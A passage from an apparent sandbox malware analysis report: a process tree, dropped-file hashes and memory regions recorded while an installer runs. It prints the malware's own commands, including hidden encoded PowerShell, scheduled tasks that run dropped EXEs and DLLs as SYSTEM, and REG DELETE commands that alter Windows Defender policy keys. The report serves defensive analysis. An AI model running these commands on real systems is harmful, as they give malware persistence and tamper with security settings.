                                                                                                            schtasks /CREATE /TN "gGPbIFfGV" /SC once /ST 09:01:13 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1840
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gGPbIFfGV"
                                                                                                            2⤵
                                                                                                              PID:4288
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gGPbIFfGV"
                                                                                                              2⤵
                                                                                                                PID:5036
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "ygwXmmYWmIOQZqgey" /SC once /ST 00:29:01 /RU "SYSTEM" /TR "\"C:\Windows\Temp\dDIGKoNsMZUYTlNI\cbiAkEIOWvTrFua\BPTxocp.exe\" c9 /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:3284
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "ygwXmmYWmIOQZqgey"
                                                                                                                2⤵
                                                                                                                  PID:4352
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:5056
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:4904
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:4340
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:3280
                                                                                                                    • C:\Windows\Temp\dDIGKoNsMZUYTlNI\cbiAkEIOWvTrFua\BPTxocp.exe
                                                                                                                      C:\Windows\Temp\dDIGKoNsMZUYTlNI\cbiAkEIOWvTrFua\BPTxocp.exe c9 /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Checks computer location settings
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4876
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "bsajrHInQFlcwYICLj"
                                                                                                                        2⤵
                                                                                                                          PID:4980
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:2880
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:1488
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:4472
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:2056
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JuPVqtTuU\HMQNMm.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "HnhGGmYUcuANzZs" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:3584
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "HnhGGmYUcuANzZs2" /F /xml "C:\Program Files (x86)\JuPVqtTuU\ZDJrKBR.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4016
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "HnhGGmYUcuANzZs"
                                                                                                                                  2⤵
                                                                                                                                    PID:4040
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "HnhGGmYUcuANzZs"
                                                                                                                                    2⤵
                                                                                                                                      PID:4216
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "qwZMgdHJPwAVJo" /F /xml "C:\Program Files (x86)\phVJOPZyZJOU2\ZsJuKYO.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1512
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "fSwSvvnEEoVJd2" /F /xml "C:\ProgramData\hRSVwMivPDBwjMVB\RLrlHWS.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:3520
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "mBqqQEpEndyJZOmyy2" /F /xml "C:\Program Files (x86)\sZsEQTjkuyBBMtXryyR\wRkuupv.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2708
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "IGrzNxCjwBhGmyGrIyA2" /F /xml "C:\Program Files (x86)\wRZxVByAcqfAC\buiJeUm.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1104
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "ClHbhijVssadMpWzU" /SC once /ST 08:54:11 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\dDIGKoNsMZUYTlNI\cweSAjAw\LJhTtMP.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:3388
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "ClHbhijVssadMpWzU"
                                                                                                                                      2⤵
                                                                                                                                        PID:2304
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:1268
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:1132
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:4700
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:4052
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "ygwXmmYWmIOQZqgey"
                                                                                                                                                2⤵
                                                                                                                                                  PID:4172
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\dDIGKoNsMZUYTlNI\cweSAjAw\LJhTtMP.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:3624
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\dDIGKoNsMZUYTlNI\cweSAjAw\LJhTtMP.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:3328
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "ClHbhijVssadMpWzU"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4180

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\JuPVqtTuU\ZDJrKBR.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    f86e4aa80c3636bd2d89b26f16944821

                                                                                                                                                    SHA1

                                                                                                                                                    d67d851761101d6888532b1d8981e59749815531

                                                                                                                                                    SHA256

                                                                                                                                                    26496563d08764d24aac79813a24c0b3b4e3eb77c70963137d37b06da33e38be

                                                                                                                                                    SHA512

                                                                                                                                                    a34d90e22db028cd5fa353f8c20b02d5470bcace24288cc140731783320dac8a2da830ae0cbcc4332160cd5493fc502fee1b96ecb48fa177b948f1de6a86d206

                                                                                                                                                  • C:\Program Files (x86)\phVJOPZyZJOU2\ZsJuKYO.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    465d1c6c0c39085c6f49d59ce0faae46

                                                                                                                                                    SHA1

                                                                                                                                                    ee77e1d6ac5b816b73d16d920f66e4eef1f74932

                                                                                                                                                    SHA256

                                                                                                                                                    d127f0dab3546e174dd603f0b4ea763c49021bf9e3850bf5492819e8d8c79f40

                                                                                                                                                    SHA512

                                                                                                                                                    5b54d4a76d807f88930a1106359beec521a01fd772458cf95adcf02fcc62d41b1ad5d6157c3260a8f43bed846e50d410b6393d902334f0f64000fd1b34886d3b

                                                                                                                                                  • C:\Program Files (x86)\sZsEQTjkuyBBMtXryyR\wRkuupv.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    0f6a5c3c42184de1007209823f615084

                                                                                                                                                    SHA1

                                                                                                                                                    1d5eee096124898853a3acf943c6504d4d43dc71

                                                                                                                                                    SHA256

                                                                                                                                                    b16e62ea0756a50eed6336b04c0f1098584c634ea397fe9d94445e017f2dab6d

                                                                                                                                                    SHA512

                                                                                                                                                    49a191ae4773df976d17f6782f81308aa05de5de49bed0d8e081ba76d123f42dd65bd4e2424ebb1e0e15cf683008b2109e78221fff073c50f8e98fd18ea41187

                                                                                                                                                  • C:\Program Files (x86)\wRZxVByAcqfAC\buiJeUm.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    ce531d9fd2f4844b512efde24eef99a5

                                                                                                                                                    SHA1

                                                                                                                                                    524ea55f9e554e3a5de3c7c7529ab35fd9ffec7c

                                                                                                                                                    SHA256

                                                                                                                                                    1a9587379e692267f2298bc2d07416dfeb6b9e05538e3a2fd8a5d60a1f7fa85b

                                                                                                                                                    SHA512

                                                                                                                                                    fe3f9cd66820f39b116cfcda1d63cf95a4f09857c47b67cc10b76d261273ffc23df57a3e7e27432f5b27b9607529422f4601001567463cc457d6d6a72984ad94

                                                                                                                                                  • C:\ProgramData\hRSVwMivPDBwjMVB\RLrlHWS.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    910b700b72815410bd840c269987bdfd

                                                                                                                                                    SHA1

                                                                                                                                                    66c3c7d94875ce72a5256872538102602dee6974

                                                                                                                                                    SHA256

                                                                                                                                                    bff6b0e09b6208dca8a95bef052cbb0aca38053531a92bdfcc4a67a484598e9b

                                                                                                                                                    SHA512

                                                                                                                                                    e43c7a8141d27109ca5ccc22b0b9e45db9d31c6ae91a33b9b1e8412454479d479875f334e5b818ec4cb14682f564dee32e745c66957e1236086f1176b6a8e719

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    5caad758326454b5788ec35315c4c304

                                                                                                                                                    SHA1

                                                                                                                                                    3aef8dba8042662a7fcf97e51047dc636b4d4724

                                                                                                                                                    SHA256

                                                                                                                                                    83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

                                                                                                                                                    SHA512

                                                                                                                                                    4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS78FD.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    9f0021812f5e22fe7b0f3cefe26a195a

                                                                                                                                                    SHA1

                                                                                                                                                    5ced140a2cbe6410517a0d0a9c7546ac32a2478e

                                                                                                                                                    SHA256

                                                                                                                                                    258f0ba8c03b44589373787899a00b7b0c0e4200a037973747d86a67a62c9826

                                                                                                                                                    SHA512

                                                                                                                                                    500c03d11b955b907456c73957bdce1d1c92520de745d692c20c989307d491acb627bec1bed5373100388200e83d1665badb1c88211cf44043d4b8280002cb90

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS78FD.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    9f0021812f5e22fe7b0f3cefe26a195a

                                                                                                                                                    SHA1

                                                                                                                                                    5ced140a2cbe6410517a0d0a9c7546ac32a2478e

                                                                                                                                                    SHA256

                                                                                                                                                    258f0ba8c03b44589373787899a00b7b0c0e4200a037973747d86a67a62c9826

                                                                                                                                                    SHA512

                                                                                                                                                    500c03d11b955b907456c73957bdce1d1c92520de745d692c20c989307d491acb627bec1bed5373100388200e83d1665badb1c88211cf44043d4b8280002cb90

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS7EF9.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.6MB

                                                                                                                                                    MD5

                                                                                                                                                    596361ceff627d88c0b64a99d7ce57fd

                                                                                                                                                    SHA1

                                                                                                                                                    41261f7ceaf1f1cf71fede5954563638bdb907ea

                                                                                                                                                    SHA256

                                                                                                                                                    c69c8b871de4c294c326cfe7b6ac01cc41adeb1934810e23c00d337af732ca33

                                                                                                                                                    SHA512

                                                                                                                                                    90e437b08d3c55ac3602cb5fb830ab054d75c7def0864c53f3e7c2e6feda37da0fd944d6f39c528b8438e9dbcc7ee965ef970030bd125951a1e543d8910352f5

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS7EF9.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.6MB

                                                                                                                                                    MD5

                                                                                                                                                    596361ceff627d88c0b64a99d7ce57fd

                                                                                                                                                    SHA1

                                                                                                                                                    41261f7ceaf1f1cf71fede5954563638bdb907ea

                                                                                                                                                    SHA256

                                                                                                                                                    c69c8b871de4c294c326cfe7b6ac01cc41adeb1934810e23c00d337af732ca33

                                                                                                                                                    SHA512

                                                                                                                                                    90e437b08d3c55ac3602cb5fb830ab054d75c7def0864c53f3e7c2e6feda37da0fd944d6f39c528b8438e9dbcc7ee965ef970030bd125951a1e543d8910352f5

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC\nuKOVfXXHsnqFlD\jJeKaBi.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.6MB

                                                                                                                                                    MD5

                                                                                                                                                    596361ceff627d88c0b64a99d7ce57fd

                                                                                                                                                    SHA1

                                                                                                                                                    41261f7ceaf1f1cf71fede5954563638bdb907ea

                                                                                                                                                    SHA256

                                                                                                                                                    c69c8b871de4c294c326cfe7b6ac01cc41adeb1934810e23c00d337af732ca33

                                                                                                                                                    SHA512

                                                                                                                                                    90e437b08d3c55ac3602cb5fb830ab054d75c7def0864c53f3e7c2e6feda37da0fd944d6f39c528b8438e9dbcc7ee965ef970030bd125951a1e543d8910352f5

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\LnqiWCjpVUdcMEyBC\nuKOVfXXHsnqFlD\jJeKaBi.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.6MB

                                                                                                                                                    MD5

                                                                                                                                                    596361ceff627d88c0b64a99d7ce57fd

                                                                                                                                                    SHA1

                                                                                                                                                    41261f7ceaf1f1cf71fede5954563638bdb907ea

                                                                                                                                                    SHA256

                                                                                                                                                    c69c8b871de4c294c326cfe7b6ac01cc41adeb1934810e23c00d337af732ca33

                                                                                                                                                    SHA512

                                                                                                                                                    90e437b08d3c55ac3602cb5fb830ab054d75c7def0864c53f3e7c2e6feda37da0fd944d6f39c528b8438e9dbcc7ee965ef970030bd125951a1e543d8910352f5

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                    Filesize

                                                                                                                                                    1KB

                                                                                                                                                    MD5

                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                    SHA1

                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                    SHA256

                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                    SHA512

                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    11KB

                                                                                                                                                    MD5

                                                                                                                                                    18407d15d8bacd5a8d4560af0ae2c620

                                                                                                                                                    SHA1

                                                                                                                                                    00c22604aeec6d55e506f0878eddf79b905c3497

                                                                                                                                                    SHA256

                                                                                                                                                    c01cd8957e2e8cee4177a248dfea58ea20f0473d658e87d8fbc691f136a5e76f

                                                                                                                                                    SHA512

                                                                                                                                                    c44d2cc1b4f24d405c20827c6bbdc633687a0e620ad44f6b89aa7f227a59c3bd259425a8ad2c8c633b3f5a711e11cad24cf371c8c14179eb156b23fe85d25407

                                                                                                                                                  • C:\Windows\Temp\dDIGKoNsMZUYTlNI\cbiAkEIOWvTrFua\BPTxocp.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.6MB

                                                                                                                                                    MD5

                                                                                                                                                    596361ceff627d88c0b64a99d7ce57fd

                                                                                                                                                    SHA1

                                                                                                                                                    41261f7ceaf1f1cf71fede5954563638bdb907ea

                                                                                                                                                    SHA256

                                                                                                                                                    c69c8b871de4c294c326cfe7b6ac01cc41adeb1934810e23c00d337af732ca33

                                                                                                                                                    SHA512

                                                                                                                                                    90e437b08d3c55ac3602cb5fb830ab054d75c7def0864c53f3e7c2e6feda37da0fd944d6f39c528b8438e9dbcc7ee965ef970030bd125951a1e543d8910352f5

                                                                                                                                                  • C:\Windows\Temp\dDIGKoNsMZUYTlNI\cbiAkEIOWvTrFua\BPTxocp.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.6MB

                                                                                                                                                    MD5

                                                                                                                                                    596361ceff627d88c0b64a99d7ce57fd

                                                                                                                                                    SHA1

                                                                                                                                                    41261f7ceaf1f1cf71fede5954563638bdb907ea

                                                                                                                                                    SHA256

                                                                                                                                                    c69c8b871de4c294c326cfe7b6ac01cc41adeb1934810e23c00d337af732ca33

                                                                                                                                                    SHA512

                                                                                                                                                    90e437b08d3c55ac3602cb5fb830ab054d75c7def0864c53f3e7c2e6feda37da0fd944d6f39c528b8438e9dbcc7ee965ef970030bd125951a1e543d8910352f5

                                                                                                                                                  • C:\Windows\Temp\dDIGKoNsMZUYTlNI\cweSAjAw\LJhTtMP.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    16cc8a6d587c6ff14eb9f2aaf69f5b18

                                                                                                                                                    SHA1

                                                                                                                                                    9ce52f12684d6fe312127ec241a7b1aff0c8f435

                                                                                                                                                    SHA256

                                                                                                                                                    28498c5efe02ba69bf7692a83440e6c0e557c5c69d3fd9aadc7ba5df60d8b16b

                                                                                                                                                    SHA512

                                                                                                                                                    fe2ee7aaef4dbdcc70e972faa687af506606efdcff482035cf65f2bd687dd6096145471c897b6b271474a5635592ce99a5cb8eda27a4ac58d122fccc30a4ced1

                                                                                                                                                  • C:\Windows\Temp\dDIGKoNsMZUYTlNI\cweSAjAw\LJhTtMP.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    16cc8a6d587c6ff14eb9f2aaf69f5b18

                                                                                                                                                    SHA1

                                                                                                                                                    9ce52f12684d6fe312127ec241a7b1aff0c8f435

                                                                                                                                                    SHA256

                                                                                                                                                    28498c5efe02ba69bf7692a83440e6c0e557c5c69d3fd9aadc7ba5df60d8b16b

                                                                                                                                                    SHA512

                                                                                                                                                    fe2ee7aaef4dbdcc70e972faa687af506606efdcff482035cf65f2bd687dd6096145471c897b6b271474a5635592ce99a5cb8eda27a4ac58d122fccc30a4ced1

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                    MD5

                                                                                                                                                    95dff56d8cd88f087cd0e41b6b33e474

                                                                                                                                                    SHA1

                                                                                                                                                    470455c138b03a1f8e0f51b4c43f4976ffb59e75

                                                                                                                                                    SHA256

                                                                                                                                                    c7118f3013c0ca2abaff842399a47630405c66a9f8b003c48baf31b11fd8cdc1

                                                                                                                                                    SHA512

                                                                                                                                                    a82f640863b3fcd93cd10f7990c598d3c070101be3f0d5af92a4178c166959fde6cb304078518a33d5dddc1ad7bcad297ee8acfcc1c0095b024521ba623f7cd7

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                    Filesize

                                                                                                                                                    268B

                                                                                                                                                    MD5

                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                    SHA1

                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                    SHA256

                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                    SHA512

                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                  • memory/1336-158-0x0000000010000000-0x000000001088B000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    8.5MB

                                                                                                                                                  • memory/1532-138-0x0000000010000000-0x000000001088B000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    8.5MB

                                                                                                                                                  • memory/2120-151-0x0000015C194B0000-0x0000015C194D2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2120-153-0x00007FF8173D0000-0x00007FF817E91000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/3328-249-0x0000000001EB0000-0x000000000273B000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    8.5MB

                                                                                                                                                  • memory/4780-162-0x00000000011E0000-0x0000000001216000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/4780-163-0x0000000003D10000-0x0000000004338000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/4780-164-0x0000000003C70000-0x0000000003C92000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/4780-165-0x0000000004340000-0x00000000043A6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/4780-166-0x00000000044E0000-0x0000000004546000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/4780-167-0x0000000004B10000-0x0000000004B2E000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/4876-246-0x0000000004C60000-0x0000000004D13000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    716KB

                                                                                                                                                  • memory/4876-242-0x0000000003DA0000-0x0000000003E1B000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    492KB

                                                                                                                                                  • memory/4876-228-0x0000000002DE0000-0x0000000002E65000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    532KB

                                                                                                                                                  • memory/4876-232-0x0000000003430000-0x0000000003492000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    392KB

                                                                                                                                                  • memory/5056-220-0x00007FF8169F0000-0x00007FF8174B1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/5056-217-0x00007FF8169F0000-0x00007FF8174B1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB